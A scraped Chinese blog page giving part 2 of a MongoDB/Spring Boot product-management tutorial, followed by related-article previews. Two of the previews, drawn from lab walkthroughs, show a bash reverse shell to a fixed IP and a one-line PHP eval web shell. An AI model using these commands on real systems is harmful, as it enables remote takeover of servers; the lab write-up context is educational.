# 基于MongoDB实现商品管理系统(2)
基于MongoDB实现商品管理系统(2)
基于 mongodb 实现商品管理系统之准备工作
1、案例需求
这里使用的不是前端页面,而是控制台来完成的。
具体的需求如下所示:
- 运行

- 查询所有

- 通过id查询详情

- 添加

- 通过id删除


2、案例分析
-
程序将划分层次
djh.it.sh.domain javaBean实体类
djh.it.sh.utils 工具类
djh.it.sh.web web层,使用main方法代替。
djh.it.sh.service service层(业务层)
djh.it.sh.dao dao层
3、准备工作:向 mongodb 数据库中插入数据。
创建数据库并插入数据:
# 显示所有数据库,并使用 mymongodb 数据库。
> show dbs
local 0.03125GB
mymongodb 0.0625GB
> use mymongodb
switched to db mymongodb# 插入数据
var productArr = [{pid:1,pname:"lenovo",price:5000
},
{pid:2,pname:"Haier",price:3000
},
{pid:3,pname:"Thor",price:5000
},
{pid:4,pname:"Nike",price:800
},
{pid:5,pname:"Dior",price:2000
},
{pid:6,pname:"HERMES",price:2400
},
{pid:7,pname:"MK",price:4000
},
{pid:8,pname:"CHANEL",price:800
},
{pid:9,pname:"BMW",price:20000
}]
for(var i = 0;i<productArr.length;i++){db.products.insert(productArr[i])
}# 查询数据
> db.products.find()
{ "_id" : ObjectId("66b1897c57b300f386ae6a43"), "pid" : 1, "pname" : "lenovo", "price" : 5000 }
{ "_id" : ObjectId("66b1897c57b300f386ae6a44"), "pid" : 2, "pname" : "Haier", "price" : 3000 }
{ "_id" : ObjectId("66b1897c57b300f386ae6a45"), "pid" : 3, "pname" : "Thor", "price" : 5000 }
{ "_id" : ObjectId("66b1897c57b300f386ae6a46"), "pid" : 4, "pname" : "Nike", "price" : 800 }
{ "_id" : ObjectId("66b1897c57b300f386ae6a47"), "pid" : 5, "pname" : "Dior", "price" : 2000 }
{ "_id" : ObjectId("66b1897c57b300f386ae6a48"), "pid" : 6, "pname" : "HERMES", "price" : 2400 }
{ "_id" : ObjectId("66b1897c57b300f386ae6a49"), "pid" : 7, "pname" : "MK", "price" : 4000 }
{ "_id" : ObjectId("66b1897c57b300f386ae6a4a"), "pid" : 8, "pname" : "CHANEL", "price" : 800 }
{ "_id" : ObjectId("66b1897c57b300f386ae6a4b"), "pid" : 9, "pname" : "BMW", "price" : 20000 }
>
4、使用图形界面工具 Compass 连接 mongodb 数据库,并查看插入的数据。
插入后的数据如下所示:

5、打开 idea,创建 productManager 的 maven 工程。
--> idea --> File --> New --> Project --> Maven Project SDK: ( 1.8(java version "1.8.0_131" ) --> Next --> Groupld : ( djh.it )Artifactld : ( productManager )Version : 1.0-SNAPSHOT--> Name: ( productManager )Location: ( ...\productManager\ ) --> Finish
6、在工程 productManager (模块)中的 pom.xml 中导入依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>productManager</artifactId><version>1.0-SNAPSHOT</version><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.1.6.RELEASE</version><relativePath></relativePath></parent><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-mongodb</artifactId></dependency></dependencies></project>
<!-- productManager\pom.xml -->
7、在工程 productManager (模块)中,创建工具类 MongoDBUtils.java
/*** productManager\src\main\java\djh\it\sh\utils\MongoDBUtils.java** 2024-8-6 创建工具类 MongoDBUtils.java*/package djh.it.sh.utils;import com.mongodb.DB;
import com.mongodb.Mongo;public class MongoDBUtils {// 1.使用connection用来保存Mongo的数据库连接对象static Mongo connection = null;// 2.使用db接收具体的数据库连接static DB db = null;public static DB getDB(String dbName) throws Exception {//创建一个Mongo的数据库连接对象connection = new Mongo("127.0.0.1:27017");//通过获取数据库的连接对象connection根据传递的数据库名dbName来连接具体的数据库db = connection.getDB(dbName);//将具体的数据库连接返回给调用者return db;}
}
8、在工程 productManager (模块)中,创建 Product.java 实体类。
/*** D:\java_test\Intesij_idea\productManager\src\main\java\djh\it\sh\domain\Product.java** 2024-8-6 创建 Product.java 实体类。*/
package djh.it.sh.domain;import org.bson.types.ObjectId;public class Product {private ObjectId obj_id;private int pid;//商品idprivate String pname;//商品名字private int price;//商品价格public Product() {super();// TODO Auto-generated constructor stub}public Product(ObjectId obj_id, int pid, String pname, int price) {super();this.obj_id = obj_id;this.pid = pid;this.pname = pname;this.price = price;}public ObjectId getObj_id() {return obj_id;}public void setObj_id(ObjectId obj_id) {this.obj_id = obj_id;}public int getPid() {return pid;}public void setPid(int pid) {this.pid = pid;}public String getPname() {return pname;}public void setPname(String pname) {this.pname = pname;}public int getPrice() {return price;}public void setPrice(int price) {this.price = price;}@Overridepublic String toString() {return "Product [obj_id=" + obj_id + ", pid=" + pid + ", pname=" + pname + ", price=" + price + "]";}
}
9、在工程 productManager (模块)中,创建 配置文件 application.yml。
# productManager\src\main\resources\application.ymlspring:# 数据源配置data:mongodb:# 主机地址host: 127.0.0.1# 数据库database: mymongodb# 默认端口27017port: 27017# 也可以使用uri连接# uri mongodb //172.18.30.110:27017/articledb
10、在工程 productManager (模块)中,创建启动类 ProductApplication.java。
/*** productManager\src\main\java\djh\it\sh\ProductApplication.java** 2024-8-6 创建启动类 ProductApplication.java*/
package djh.it.sh;import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
public class ProductApplication {public static void main(String[] args) {SpringApplication.run(ProductApplication.class, args);}
}
上一节关联链接请点击
# 基于MongoDB实现商品管理系统(1)
相关文章:
# 基于MongoDB实现商品管理系统(2)
基于MongoDB实现商品管理系统(2) 基于 mongodb 实现商品管理系统之准备工作 1、案例需求 这里使用的不是前端页面,而是控制台来完成的。 具体的需求如下所示: 运行 查询所有 通过id查询详情 添加 - 通过id删除 2、案例分析 程…...
国标GB28181视频平台LntonCVS视频融合共享平台视频汇聚应用方案
近年来,国内视频监控应用迅猛发展,系统接入规模不断扩大,导致了大量平台提供商的涌现。然而,不同平台的接入协议千差万别,使得终端制造商不得不为每款设备维护多个不同平台的软件版本,造成了资源的严重浪费…...
java基础I/O
1,I/O流的概念: IO流代表的是一个数据输入的源或者输出的目标地址,可以是硬盘,内存,网络或者什么其他的电子设备,而IO流的类型也很多比如最简单的字节或者字符,或者其他更高级的对象。 不管它有多少特性&am…...
关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论
关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论,确实是一个值得深入探讨的话题。这里,“八股文”通常指的是面试中常见的一系列标准化问题和答案,涵盖了编程语言基础、算法、数据结构、设计模式、框架知识等,这些内…...
【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)
目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...
端点区间影响
前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...
Leetcode3224. 使差值相等的最少数组改动次数
Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...
thinkphp之命令执行漏洞复现
实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...
算法板子:匈牙利算法——二分图的最大匹配
目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...
轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!
不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...
windbg常用命令
1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行,不进入函数。 t: 单步执行,进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...
Ubuntu(20.04 LTS)更换镜像源
此换镜像源方法只适用x86_64架构的系统,其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中…...
golang使用 copier对象复制时进行类型转化
问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候,我们希望能显示经过格式化过的目标字符串格式,这里我们可以使用自定义的 converter,主要是定义 src 和 dst 类型…...
英特尔18A制程技术分析解读
#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧,英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息,并计划在2025年开始生产。 #### 技术进展 - **里程碑**:英特尔表示,这一里程碑是在…...
【百度面试算法题】2024-08-02
部门项目实际上也涉及到多种语言,有没有意愿去学习其他语言?你是如何利用数据结构来做技术的/项目中是如何解决高并发的?(没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了,开始问八股)说一下单…...
OSPF基础
目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...
leetcode 958.二叉树的完全性检验
1.题目要求: 给你一棵二叉树的根节点 root ,请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中,除了最后一层外,所有层都被完全填满,并且最后一层中的所有节点都尽可能靠左。最后一层(第 h 层)…...
Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?
微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...
基础岛 - 8G显存验证书生·浦语大模型的Demo
因为以前用过LMDeploy,所以本章的内容相对熟悉。 另外,因为教程写的很详细保姆级,所以大多数情况直接复制执行命令即可。开发机的创建略过。 总体验证结论: LMDeploy的模型加载有点慢,但推理速度快,符合预…...
Jangow靶机攻略
搭建jangow靶机环境https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova 虚拟机载入镜像文件 1.扫描目标主机地址 2.打开靶机环境 3.输入id查看回显位置 4.编辑一句话木马注入echo <?php eval($_POST[cmd]);?> > test.php 5.接下来查看文件输入ls 6.使用工具…...
DIY|Mac 搭建 ESP-IDF 开发环境及编译小智 AI
前一阵子在百度 AI 开发者大会上,看到基于小智 AI DIY 玩具的演示,感觉有点意思,想着自己也来试试。 如果只是想烧录现成的固件,乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外,还提供了基于网页版的 ESP LA…...
学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1
每日一言 生活的美好,总是藏在那些你咬牙坚持的日子里。 硬件:OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写,"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...
k8s业务程序联调工具-KtConnect
概述 原理 工具作用是建立了一个从本地到集群的单向VPN,根据VPN原理,打通两个内网必然需要借助一个公共中继节点,ktconnect工具巧妙的利用k8s原生的portforward能力,简化了建立连接的过程,apiserver间接起到了中继节…...
C# 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
laravel8+vue3.0+element-plus搭建方法
创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...
动态 Web 开发技术入门篇
一、HTTP 协议核心 1.1 HTTP 基础 协议全称 :HyperText Transfer Protocol(超文本传输协议) 默认端口 :HTTP 使用 80 端口,HTTPS 使用 443 端口。 请求方法 : GET :用于获取资源,…...
【堆垛策略】设计方法
堆垛策略的设计是积木堆叠系统的核心,直接影响堆叠的稳定性、效率和容错能力。以下是分层次的堆垛策略设计方法,涵盖基础规则、优化算法和容错机制: 1. 基础堆垛规则 (1) 物理稳定性优先 重心原则: 大尺寸/重量积木在下…...
嵌入式学习之系统编程(九)OSI模型、TCP/IP模型、UDP协议网络相关编程(6.3)
目录 一、网络编程--OSI模型 二、网络编程--TCP/IP模型 三、网络接口 四、UDP网络相关编程及主要函数 编辑编辑 UDP的特征 socke函数 bind函数 recvfrom函数(接收函数) sendto函数(发送函数) 五、网络编程之 UDP 用…...
WEB3全栈开发——面试专业技能点P4数据库
一、mysql2 原生驱动及其连接机制 概念介绍 mysql2 是 Node.js 环境中广泛使用的 MySQL 客户端库,基于 mysql 库改进而来,具有更好的性能、Promise 支持、流式查询、二进制数据处理能力等。 主要特点: 支持 Promise / async-await…...
CppCon 2015 学习:REFLECTION TECHNIQUES IN C++
关于 Reflection(反射) 这个概念,总结一下: Reflection(反射)是什么? 反射是对类型的自我检查能力(Introspection) 可以查看类的成员变量、成员函数等信息。反射允许枚…...
